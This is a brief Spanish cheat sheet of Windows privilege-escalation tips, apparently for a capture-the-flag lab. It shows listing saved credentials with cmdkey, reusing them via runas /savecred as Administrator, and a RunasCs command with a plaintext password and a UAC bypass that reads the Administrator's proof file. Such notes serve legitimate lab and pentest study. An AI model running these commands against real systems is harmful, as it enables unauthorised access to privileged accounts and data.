Consejos escalada Windows
cmdkey /list: ver contraseñas guardadas; si existen:
runas /user:ACCESS\Administrator /savecred "cmd.exe /c whoami > C:\Users\Public\whoami.txt"Herramientas como jaws-enum. Usar ls -force. RunasCs para ejecutar como otro usuario:
.\RunasCs.exe john Password123! --bypass-uac --logon-type 8 "cmd /c type C:\Users\Administrator\Desktop\proof.txt"